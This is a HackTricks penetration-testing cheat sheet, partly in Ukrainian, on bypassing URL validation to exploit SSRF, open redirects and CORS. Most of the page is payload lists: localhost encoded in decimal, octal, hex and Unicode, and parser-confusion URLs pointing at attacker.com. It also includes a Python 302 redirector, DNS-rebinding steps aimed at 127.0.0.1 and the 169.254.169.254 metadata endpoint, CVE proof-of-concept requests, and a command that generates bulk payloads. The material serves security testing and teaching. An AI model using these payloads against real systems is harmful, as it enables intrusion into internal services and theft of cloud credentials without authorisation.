URL Format Bypass

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Localhost

Localhost payloads ```bash # Localhost 0 # Yes, just 0 is localhost in Linux http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://127.1:80 http://127.000000000000000.1 http://0 http:@0/ --> http://localhost/ http://0.0.0.0:80 http://localhost:80 http://[::]:80/ http://[::]:25/ SMTP http://[::]:3128/ Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪

CIDR bypass

http://127.127.127.127 http://127.0.1.3 http://127.0.0.0

Dot bypass

127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821

Decimal bypass

http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1

Octal Bypass

http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001

Hexadecimal bypass

127.0.0.1 = 0x7f 00 00 01 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001

Mixed encodings bypass

169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number 0xA9.254.0251.0376 -> hexadecimal, decimal and octal

Add 0s bypass

127.000000000000.1

You can also mix different encoding formats

https://www.silisoftware.com/tools/ipconverter.php

Malformed and rare

localhost:+11211aaa localhost:00011211aaaa http://0/ http://127.1 http://127.0.1

DNS to localhost

localtest.me = 127.0.0.1 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 mail.ebc.apple.com = 127.0.0.6 (localhost) 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP) www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://bugbounty.dod.network = 127.0.0.2 (localhost) 1ynrnhl.xip.io == 169.254.169.254 spoofed.burpcollaborator.net = 127.0.0.1

</details>

![](<../../images/image (776).png>)

The **Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) реалізує методи обходу форматування IP-адрес.

### Парсер доменів

<details>
<summary>Обходи парсера доменів</summary>
```bash
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
# double encoded fragment to bypass split("#"): attacker.com%2523@victim
``` ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ``` ### Domain Confusion
Domain confusion payloads ```bash # Try also to change attacker.com for 127.0.0.1 to try to access localhost # Try replacing https by http # Try URL-encoded characters https://{domain}@attacker.com https://{domain}.attacker.com https://{domain}%6D@attacker.com https://attacker.com/{domain} https://attacker.com/?d={domain} https://attacker.com#{domain} https://attacker.com@{domain} https://attacker.com#@{domain} https://attacker.com%23@{domain} https://attacker.com%00{domain} https://attacker.com%0A{domain} https://attacker.com?{domain} https://attacker.com///{domain} https://attacker.com\{domain}/ https://attacker.com;https://{domain} https://attacker.com\{domain}/ https://attacker.com\.{domain} https://attacker.com/.{domain} https://attacker.com\@@{domain} https://attacker.com:\@@{domain} https://attacker.com#\@{domain} https://attacker.com\anything@{domain}/ https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com # colon + backslash confusion (CVE-2025-0454 in autogpt) http://localhost:\@google.com/../

On each IP position try to put 1 attackers domain and the others the victim domain

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

Parameter pollution

next={domain}&next=attacker.com

</details>

### Шляхи та розширення Bypass

Якщо вимагається, щоб URL закінчувався path або extension, або містив path, ви можете спробувати один із наступних bypasses:

https://metadata/vulnerable/path#/expected/path https://metadata/vulnerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path

### Fuzzing

Інструмент [**recollapse**](https://github.com/0xacb/recollapse) може генерувати варіанти на основі заданого вводу, щоб спробувати обійти використаний regex. Також перегляньте [**this post**](https://0xacb.com/2022/11/21/recollapse/) для додаткової інформації.

### Automatic Custom Wordlists

Перегляньте вебдодаток [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) від portswigger, де ви можете вказати дозволений хост та хост атакувальника, і він згенерує список URL-адрес для спроб. Він також враховує, чи можна використовувати URL у параметрі, у Host header або в CORS header.


<a class="content_ref" href="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet"><span class="content_ref_label">URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy</span></a>

### Bypass via redirect

Може трапитись так, що сервер **фільтрує початковий запит** SSRF, **але не** можливу **redirect** відповідь на цей запит.\
Наприклад, сервер, вразливий до SSRF через: `url=https://www.google.com/` може **фільтрувати параметр url**. Але якщо ви використовуєте [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) до місця, куди хочете перенаправити, ви можете бути в змозі **отримати доступ до відфільтрованих IP-адрес**, таких як 127.0.0.1, або навіть до відфільтрованих **протоколів** на кшталт gopher.\
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)

<details>
<summary>Простий redirector для тестування SSRF</summary>
```python
#!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()

class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

DNS rebinding bypass (2025+)

Навіть коли фільтр SSRF виконує одноразове DNS‑розв’язування перед відправкою HTTP‑запиту, ви все одно можете дістатися внутрішніх хостів, перепризначивши домен між пошуком і з’єднанням:

  1. Вкажіть victim.example.com на публічну IP-адресу, щоб він пройшов allow‑list / CIDR перевірку.
  2. Подавайте дуже малий TTL (або використайте авторитетний сервер, яким ви керуєте) і перепризначте домен на 127.0.0.1 або 169.254.169.254 безпосередньо перед виконанням реального запиту.
  3. Інструменти на кшталт Singularity (nccgroup/singularity) автоматизують авторитетний DNS + HTTP сервер і включають готові payload’и. Приклад запуску: python3 singularity.py --lhost <your_ip> --rhost 127.0.0.1 --domain rebinder.test --http-port 8080.

Ця техніка була використана в 2025 році, щоб обійти патч BentoML “safe URL” та подібні SSRF‑фільтри з одноразовим розв’язуванням.

Пояснення трюків

Backslash-trick

The backslash-trick exploits a difference between the WHATWG URL Standard and RFC3986. While RFC3986 is a general framework for URIs, WHATWG is specific to web URLs and is adopted by modern browsers. The key distinction lies in the WHATWG standard’s recognition of the backslash (\) as equivalent to the forward slash (/), impacting how URLs are parsed, specifically marking the transition from the hostname to the path in a URL.

https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg

Left square bracket

The “left square bracket” character [ in the userinfo segment can cause Spring’s UriComponentsBuilder to return a hostname value that differs from browsers: https://example.com[@attacker.com

Інші плутанини

https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

зображення з https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

IPv6 Zone Identifier (%25) Trick

Сучасні парсери URL, що підтримують RFC 6874, дозволяють link-local IPv6 адресам містити zone identifier після знака відсотка. Деякі security filters не враховують цей синтаксис і будуть лише видаляти IPv6 літерали в квадратних дужках, дозволяючи наступному payload досягти внутрішнього інтерфейсу:

http://[fe80::1%25eth0]/          # %25 = encoded '%', interpreted as fe80::1%eth0
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)

Якщо цільовий додаток перевіряє, що хост не fe80::1, але припиняє парсинг на %, він може неправильно трактувати запит як зовнішній. Завжди нормалізуйте адресу перед будь‑яким рішенням безпеки або повністю видаляйте необов’язковий zone id.

Останні CVE парсингу бібліотек (2022–2026)

Кілька популярних фреймворків мали проблеми з невідповідністю імен хостів, які можна використати для SSRF після обходу валідації URL за допомогою наведених вище трюків:

YearCVEComponentBug synopsisMinimal PoC
2025CVE-2025-0454Python requests + urllib.parse (autogpt)Несумісність парсингу на http://localhost:\\@google.com/../ дозволяє allow‑lists думати, що хост — google.com, тоді як запит потрапляє в localhost.requests.get("http://localhost:\\@google.com/../")
2025CVE-2025-2691Node package nossrfБібліотека, призначена для блокування SSRF, перевіряє лише оригінальний hostname, а не resolved IP, що дозволяє використовувати імена хостів, які резолвляться у приватні діапазони.curl "http://trusted.example" --resolve trusted.example:80:127.0.0.1
2024CVE-2024-29415Node ip packageisPublic() неправильно класифікував dotted‑octal / коротку форму localhost (наприклад, 0127.0.0.1, 127.1) як публічну, дозволяючи фільтрам приймати внутрішні цілі.ip.isPublic('0127.0.0.1') returns true on vulnerable versions
2024CVE-2024-3095Langchain WebResearchRetrieverВідсутня фільтрація хосту; GET‑запити могли досягати IMDS/localhost від AI агентів.User‑controlled URL inside WebResearchRetriever
2024CVE-2024-22243 / ‑22262Spring UriComponentsBuilder[ в userinfo парситься по‑різному Spring та браузерами, що дозволяє обійти allow‑list.https://example.com\[@internal
2023CVE-2023-27592urllib3 <1.26.15Плутанина зі зворотними слешами дозволяла http://example.com\\@169.254.169.254/ обійти фільтри хостів, які діляться по @.
2022CVE-2022-3602OpenSSLПеревірка імені хоста пропускалася, коли ім’я мав суфікс . (плутанина з доменами з крапкою/без крапки).

Утиліти для генерації payload’ів (2024+)

Ручне створення великих кастомних словників виснажливе. Відкритий інструмент SSRF-PayloadMaker (Python 3) може автоматично згенерувати 80 k+ комбінацій маніпуляцій хостом, включно зі змішаними кодуваннями, примусовим пониженням до HTTP та варіантами зі зворотними слешами:

# Generate every known bypass that transforms the allowed host example.com to attacker.com
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt

Отриманий список можна безпосередньо передати в Burp Intruder або ffuf.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks